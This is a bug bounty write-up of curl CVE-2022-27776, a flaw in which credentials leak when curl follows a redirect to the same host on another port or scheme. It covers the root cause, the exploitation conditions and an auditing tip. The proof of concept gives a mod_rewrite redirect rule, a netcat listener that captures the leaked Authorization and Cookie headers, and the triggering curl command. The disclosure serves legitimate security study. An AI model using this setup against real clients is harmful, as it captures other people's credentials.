# CVE-2022-27776: Auth/cookie leak on redirect

curl followed redirects to the same host on a different port/scheme while still sending custom Authorization and Cookie headers, leaking credentials to an attacker-controlled listener.

- Payout: $480
- Severity: low
- Program: Internet Bug Bounty
- Found by: nyymi
- Disclosed: 2022-04-29
- CVE: CVE-2022-27776
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1551591
- Library page: https://bugbountylibrary.com/r/h1%3A1551591
- Tags: area:oss domain:oss impact:data-leak kind:bounty platform:hackerone sev:low tech:curl technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** curl/libcurl HTTP redirect handling (CURLOPT_FOLLOWLOCATION)
**Root cause:** The same-host check for stripping custom headers on redirect compared only hostname, not port or protocol, so redirects to the same host on another port/scheme retained Authorization and Cookie headers.
**Steps:**
1. Configure Apache mod_rewrite: `RewriteCond %{HTTP_USER_AGENT} "^curl/"` / `RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]`
2. Listen with netcat: `while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done`
3. Run `curl-L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc`
4. Observe the redirect followed to http://hostname.tld:9999 with Authorization and Cookie headers still attached
**How found:** Reporter noticed the same-host redirect check only compared hostname, and that a redirect to the same host on a different port/scheme still carried custom headers; related to prior incomplete fix CVE-2018-1000007 and CVE-2022-27774.
**Exploitation:** Attacker needs to control the redirect target (via server config, .htpasswd, or MITM) or read traffic at the recipient side (e.g. non-privileged port 9999 on same host); curl -L then forwards the secret headers over the insecure channel to the attacker listener.
**Insight:** When auditing redirect-following clients, test whether the 'same origin' check compares scheme and port, not just hostname — a redirect to the same host on a different port or http:// scheme is a classic credential-leak vector.

## Proof of concept (copied exactly from the original report)

**curl command leaking auth/cookie on redirect**

```
curl-L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc`
 
The redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:
GET / HTTP/1.1
Host: hostname.tld:9999
User-Agent: curl/7.83.0-DEV
Accept: */*
Authorization: secrettoken
Cookie: secretcookie
```

**Apache mod_rewrite redirect to port 9999**

```
RewriteCond %{HTTP_USER_AGENT} "^curl/"
   RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]
```

**netcat listener capturing leaked headers**

```
while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done
```

